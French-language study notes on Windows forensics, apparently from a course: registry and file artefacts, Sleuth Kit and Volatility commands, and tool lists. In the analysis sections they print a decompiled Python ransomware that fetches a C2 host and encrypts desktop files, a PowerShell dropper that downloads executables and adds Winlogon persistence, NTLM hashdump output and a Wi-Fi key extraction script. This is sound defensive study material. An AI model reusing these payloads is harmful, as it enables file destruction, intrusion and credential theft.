Inforensique windows

Liens

ESD Academy

MITRE ATT&CK

Event log to monitor

pentesteracademy

Smash

r

site pour le transfert

insecam.org

pastebin

a

cyberforensicator.com

a

mutex well know

a

Andrea fortuna

a

Trace

Artefacts Internet

Artefacts d’exécution

SRUM

r

● Performances● Applications démarrées (Comptes associés)● Trafic réseau (Nombre de bytes envoyés et reçus par l’application)Fait son apparition à partir de Windows 8.1 Enregistre 30 à 60 d’historique d’activité de la machine. ● SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Exte nsions{d10ca2fe-6fcf4f6d-848e-b2e99266fa89}● C:\Windows\System32\SRU\

Shimcache

r

● Nom de fichier exécutable● Chemin d’exécution● Taille de fichier● Timestamp dernière modification● LastUpdateTime est mis à jour quand un programme est exécutéWindows Application Compatibility Database est utilisée par Windows pour vérifier si une application doit démarrer en mode de compatibilité. Chaque exécutable qui a été démarré doit se trouver dans cette clé. Le but est de déterminer quel programme a été lancé et quand.Windows XP contient 96 entrées max. Windows 7+ contient 1024 entrées max. LastUpdateTime n’existe plus à partir de Windows 7+.C:\Windows\System32\config● SYSTEM\CurrentControlSet\Control\SessionManager\AppCom patibility● SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

Volume Shadow Copies

r

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSSHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestorevssadmin /list shadows (“/delete all” => anti-forensic)vss_carver (github) : Format de disque .rawforensic explorer (payant)

RunMRU

RecentApps

r

● AppID : Nom de l’application● LastAccessTime : Dernière exécution (UTC+0)● LaunchCount : Nombre de fois que le programme a été lancéL’exécution de programmes sur Windows 10 sont enregistrées en base de registre. ● NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search\RecentApps Chaque clé GUID pointe sur une application récente.

UserAssist

r

NTUSER.DATDate et heure d’exécutionChemin d’exécutionNombre de fois ou le programme a été lancéTous les programmes basés sur un GUI, exécutés sont historisés dans :● NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Ex plorer\UserAssist\GUID}\CountLes données récupérées incluent la précieuse information : L’utilisateur a exécuté le programme depuis un raccourci ou depuis le fichier original. Cela apporte à l’investigation des précisions sur le contexte de lancement d’un programme.Les valeurs encodées en ROT-13.

prefetch

r

 C:\Windows\Prefetchfichier caché

System Resource Usage Monitor (SRUM)

MUICache

r

NTUSER.DAT

Amcache / RecentFileCache.bcf

r

Amcache.hve● Une entrée pour chaque exécutable● Chemin d’exécution et volume associé● $StandardInfo● Démarré pour la première fois : Last Modification● SHA1 de l’exécutableProgramDataUpdater (une tâche associée au service ‘Application Experience’) utilise la ruche Amcache.hve pour stocker de la donnée lors de la création de process.● C:\Windows\AppCompat\Programs\Amcache.hve

Background Activity Monitor (BAM)

Timeline Windows 10

r

● Applications démarrées● Date d’exécution● Focus par applicationWindows 10 enregistre toutes les applications qui ont été utilisées récemment et propose à l’utilisateur une timeline accessible avec les touches suivantes > WIN+TAB. Ces données sont enregistrées au format SQLite.C:\Users\<username>\AppData\Local\ConnectedDevicesPlatfor m\<random>\ActivitiesCache.db

JumpLists

AppCompatFlags Registry Keys

CCM_RecentlyUsedApps

$MFT

r

c:\$MFTattrib -s -h $MFT

ADS stream

r

affichage dir /rmore < normal.txt:$DATA

Last visited MRU

r

● Traque les programmes utilisés pour ouvrir des fichiers via OpenSaveMRU● Extension des fichiers ouverts● Noms de fichiers ouverts● Application utilisée pour ouvrir un fichier● Chemin de l’application● Chronologie possibleTraque les exécutables utilisés par une application pour ouvrir un document (présent dans OpenSaveMRU). De plus, chaque valeur associe le répertoire ou le fichier a été ouvert par cette application.● NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Ex plorer\ComDlg32\ LastVisitedMRU ● NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Ex plorer\ComDlg32\ LastVisitedPidlMRU

Artefacts fichiers / dossiers

IE/EDGE (file://)

r

● Date et heure d’ouverture● Chemin du fichier● index.dat > file:///C:/chemin/nomdufichier.extUn des comportements méconnus de l’historique IE est qu’iln’enregistre pas que les sites internet consultés mais bel et bien desaccès à des fichiers du disque (ou partages réseau). Il va de soi que cethistorique apporte énormément d’information en terme detemporalité.● %USERPROFILE%\Local Settings\History\ History.IE5● %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5● %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat%

a

Shell Bags

r

●Accès à des répertoires (Locaux ou sur le réseau)●Accès à des périphériques●Date et heure d’accès●Même si le périphérique est débranché ou le répertoire suppriméLes shell bags permettent de déterminer les accès à des répertoiressurla machine locale, le réseau ou des périphériques externes. Il estpossible de retrouver des répertoires supprimés ou modifiés et ladernière date à laquelle l’utilisateur y a eu accès.C:\Users\*\AppData\Local\Microsoft\Windows\USRCLASS.DATC:\Users\*\NTUSER.DATExplorer :●USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags●USRCLASS.DAT\LocalSettings\Software\Microsoft\Windows\Shell\BagMRUDesktop :●NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU●NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags

Fichiers Récents

r

●Possibilité de retrouver les 150 derniers fichiers récents.●La date de modification du registre correspond à la date d’ouverture/d’accès et permet d’établir une chronologie.●La sous-clé folder permet de retrouver les répertoires ouverts par l’utilisateur.Cette clé de registre va suivre les derniers fichiers et répertoiresouverts. Ces fichiers sont accessibles depuis “mes fichiers récents”dans la barre de navigation latérale.C:\Users\*\NTUSER.DAT●NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

offset de demarrage

r

mmls /dev/sdb

$I30

r

Dans chaque répertoire avec au moins un fichier, il a un fichier $I30

Artefacts fichiers supprimés

Recherches (WordWheelQuery)

r

●Mots-clés recherché par l’utilisateur dans le champ recherché●Mots-clés recherché par l’utilisateur dans le menu démarrer●Date et heure de la rechercheIl s’agit des mots clés saisis par l’utilisateur dans la bar de recherche oule menu démarrer depuis Windows 7. Les mots clés sont au formatunicode et listé de manière chronologique dans la sous-clé MRUList.C:\Users\*\NTUSER.DAT●NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery

Thumb.db

r

●Miniature d’une image● Miniature du fichier (même si supprimé)● Dernière modification (XP)● Nom de fichier d’origine (XP)Il s’agit d’un fichier caché dans un répertoire. Les miniatures desimages et icônes de fichiers sont enregistré dans le fichier thumbs.db.Ce fichier est créé automatiquement lorsque le partage réseauxhomegroup est activé ou lorsqu’un répertoire est accédé via un cheminUNC.

Thumbcache.db

r

● Miniatures des documents présents dans un répertoires● Chemin du répertoire● Même si le répertoire est supprimé● Même si le fichier est supprimé● Même si le périphérique est déconnectéLes miniatures d’images, de document et répertoires persistent dansune base de données appelée thumbcache.db. Chaque utilisateur a sapropre base. Les miniatures enregistrées sont récupérables enplusieurs formats : small, medium, large, extra-large. Elles sontenregistrée dans l’une de ces catégories en fonction du typed’affichage de l’utilisateur.● C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer

Corbeille

r

● Un fichier est séparé en deux fichiers distincts● Date et heure de suppression● Nom original du fichier supprimé● Chemin du fichier supprimé● Fichier de sauvegardeLa corbeille contient tout d’abord un répertoire racine contenant dessous-répertoires au noms des SID présents sur la machine.Chaque SID peut être mis en relation avec un utilisateur via le registreou la commandeGet-WmiObject win32_useraccount | Select name,sidLes fichiers commençant par $I files contiennent le chemin d’origine dufichier et la date et heure de suppressionLes fichiers commençant par $R sont les fichiers de sauvegarde desfichiers supprimés● C:\$Recycle.bin

Artefacts USB

command linux

mount

r

mount -o loop, ro

disque monter

r

udisksctl status

fls

r

fls /dev/sdb -o 2048 fls /dev/sdb -o 2048 17997

istats

r

istat /dev/sdb -o 2048 16492

icat

r

icat /dev/sdb -o 2048 16492 >~/ntuser.exe

decompilation code python

r

Valable que pour décompiler les programme python compilé en exe inférieur version 3.4pip install uncompyle6 il faut modifier le nombre magique d'un fichier compiler avec pythonpour être décompiler avec uncompyle6Pour cela on regarde le nombre magique d'un fichier pyc puis on le rajoute au debut du ntuserlsxxd abc.pyc |less xxd ntuser |less on voit dans un pyc : 00000000: 03f3 0d0a 0000 0000 6300 0000 0000 0000 ........calors que dans le ntuser à decompiler : 00000000: 6300 0000 0000 0000 0003 0000 0040 0000 cprintf "\x03\xf3\\x0d\x0a\x00\x00\x00\x00" | cat - ntuser > ntuser.pyc on décompileuncompyle6 ntuser.pyc # uncompyle6 version 3.6.0 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.14+ (default, Mar 13 2018, 15:23:44) # [GCC 7.3.0] # Embedded file name: ntuser.py from cryptography.fernet import Fernet from requests import get from os import listdir, getcwd, remove from os.path import isdir import os, getpass from bs4 import BeautifulSoup mode = False def recurse(path):    global fn    global mode    for i in listdir(path):        if isdir(path + '\\' + i):            recurse(path + '\\' + i)        else:            if mode == False and i.split('.')[(-1)] == 'cry':                fn = Fernet(str(raw_input('Password ? ')).encode('utf8'))                mode = True            if not mode and i.split('.')[(-1)] != 'cry':                encrypt(path + '\\' + i)            else:                decrypt(path + '\\' + i) def encrypt(path):    f = open(path, 'rb')    f2 = open(path + '.cry', 'w+')    f2.write(fn.encrypt(f.read()))    f.close()    f2.close()    remove(path) def set_vbs(vb):    path = 'C:\\users\\' + getpass.getuser() + '\\appdata\\local\\config'    if isdir(path):        f = open(path + '\\aaa.vbs', 'w+')        f.write(vb.decode('base64'))        f.close()    else:        os.mkdir(path)        set_vbs(vb) def get_host():    r = get('https://twitter.com/S1mpleCC')    soup = BeautifulSoup(r.text, 'lxml')    tag = soup.find('p', 'tweet-text')    return tag.text host = get_host() r = get('http://' + host + '/3f792f24bdd299f1c163f2358fb130f9.php').text.encode('utf8') set_vbs(r.split('x07C82')[0]) fn = Fernet(r.split('x07C82')[1]) recurse('C:\\users\\' + getpass.getuser() + '\\desktop') # okay decompiling ntuser.pyc

a

TSK

r

liste les disques montésudisksctl status On regarde l'offset de démarrage :mmls /dev/sdb Utilisation de fls pour naviguer dans la $MFT jusqu'au répertoire ou il y a le binaire compilé de python ntuser.exefls /dev/sdb -o 2048 fls /dev/sdb -o 2048 17997 Utilisation de icat pour récupéré les données du FILE0 de la $MFT du fichier ntuser.exe :istat /dev/sdb -o 2048 16492 Utilisation de icat pour extraire le fichier :icat /dev/sdb -o 2048 16492 >~/ntuser.exe

volatility

r

vol.exe -f mem01.bin imageinfo set vol=vol.exe -f mem01.bin --profile=WinXPSP2x86 %vol% pslist %vol% pstree %vol% psscan %vol% psxview %vol% envars | findstr COMPUTERNAME %vol% hivelist %vol% printkey -o 0x8b21c008 -K "ControlSet001\Control\ComputerName\ComputerName" %vol% hashdump Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: John Doe:1000:aad3b435b51404eeaad3b435b51404ee:b9f917853e3dbf6e6831ecce60725930:::

outils

FTK Imager

r

ouvrir OVA avec zipextraire le vmdkconvertir le vmdk en image .ddVBoxManage.exe clonehd "D:\data stage\infected-disk001.vmdk" "D:\data stage\disque.dd" --format raw

Arsenal Image Mounter

Active@ Disk Editor

a

TSK

a

Autopsy

BrowsingHistoryView

010EditorWin64Installer100.exe

RegRipper.exe

pestudio

a

Natif Iexpress

r

comme SFX

$I parse

r

Pour recuperer les fichiers dans la corbeille

INDXParse.py

r

python INDXParse -d I30 > deleted.csv

USB ID

USBDeview

USB Detective

extract exe

r

pour decompiler un exe pythonpython pyinstxtractor.py ntuser.exe cd ntuser.exe_extracted/

dumpit

hash NTLM crack

hashkiller

a

crackstation

a

Zimmerman Tools

a

Registry Explorer

a

Timeline Explorer

a

Redline

HxD Editeur hexa windows

malware

dropper-twitter.ps1

r

$wc = New-Object System.Net.WebClient $h = $wc.DownloadString('https://twitter.com/S1mpleCC') $x = ($h.Replace("`t","").Replace("`n","").Replace(" ","").Split("<") | ? {$_ -match "class=`"TweetTextSize"} | Select-Object -First 1).Split(">")[1] (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/6a992d5529f459a44fee58c733255e86.bat', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\index.bat') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/76868ae832f6c6bd26cadc7d7c269986.lnk', 'C:\Users\esdacademy\Desktop\Google Chrome.lnk') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/eb6fb390f0c734d59e469525bd84ee18.exe', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\Default\GoogleUpdaterService.exe') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/cecea6856f21bf30c693534f7f8484dd.exe', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\Default\GoogleSecurityCheck.exe') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/e91e6348157868de9dd8b25c81aebfb9.xml', 'C:\Users\esdacademy\AppData\Local\Google\Chrome\User Data\security.xml') (New-Object System.Net.WebClient).DownloadFile('http://'+$x+'/drop/0ba4439ee9a46d9d9f14c60f88f45f87.ps1', 'C:\Users\esdacademy\AppData\Local\Google\Software Reporter Tool\reports\check.ps1') Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" 'explorer.exe, C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file "C:\Users\esdacademy\AppData\Local\Google\Software Reporter Tool\reports\check.ps1"' -Force

a

ADS_forensic.ps1

r

cls$BasePath = "D:\case001"Get-ChildItem -Path $BasePath -Recurse | % {   $StreamData = $null   $StreamData = Get-Item -Stream * -Path $_.FullName | ? {$_.Stream -match "Zone.Identifier"} | Get-Content -Stream "Zone.Identifier" | ? {$_ -match "(ZoneId=|ReferrerUrl=|HostUrl=)"}   if ($StreamData -match "ZoneId=3") {       Write-Host "`nFound : $($_.FullName)" -ForegroundColor Yellow       $StreamData | % {Write-Host $_}   }}

code wifi

r

netsh wlan show profiles netsh wlan show profiles SID key=clear

Wifi_forensic.ps1

r

#Set-ExecutionPolicy Bypass$wifi=@()#visualisation des réseaux bloqués$cmd0= netsh wlan show blockednetworks#liste des SSID$cmd1=netsh wlan show profilesForEach($row1 in $cmd1){   #recup ssid regex   if($row1 -match 'Profil Tous les utilisateurs[^:]+:.(.+)$')   {       $ssid=$Matches[1]       $cmd2=netsh wlan show profiles $ssid key=clear       Foreach($row2 in $cmd2)       {           #recup clef wifi           if($row2 -match 'Contenu de la c[^:]+:.(.+)$')           {               $key=$Matches[1]               #stockage des ssid et clef dans tab               $wifi+=[PSCustomObject]@{ssid=$ssid;key=$key}           }       }    }}#export dans csv$wifi | export-CSV -Path 'C:\Users\Root\Desktop\wifi.csv' -NoTypeInformation#visu tableau$wifi| Sort -Property ssid|Out-GridView -Title 'Clés des SSID du poste'

wmic

r

wmic useraccount get name,sid

Wifi_forensic.ps1

r

#Set-ExecutionPolicy Bypass$wifi=@()#visualisation des réseaux bloqués$cmd0= netsh wlan show blockednetworks#liste des SSID$cmd1=netsh wlan show profilesForEach($row1 in $cmd1){   #recup ssid regex   if($row1 -match 'Profil Tous les utilisateurs[^:]+:.(.+)$')   {       $ssid=$Matches[1]       $cmd2=netsh wlan show profiles $ssid key=clear       Foreach($row2 in $cmd2)       {           #recup clef wifi           if($row2 -match 'Contenu de la c[^:]+:.(.+)$')           {               $key=$Matches[1]               #stockage des ssid et clef dans tab               $wifi+=[PSCustomObject]@{ssid=$ssid;key=$key}           }       }    }}#export dans csv$wifi | export-CSV -Path 'C:\Users\Root\Desktop\wifi.csv' -NoTypeInformation#visu tableau$wifi| Sort -Property ssid|Out-GridView -Title 'Clés des SSID du poste'

Kape

a

Module

Target

Browsers

Windows

P2P

Targets

Logs

Antivirus

MISC

Apps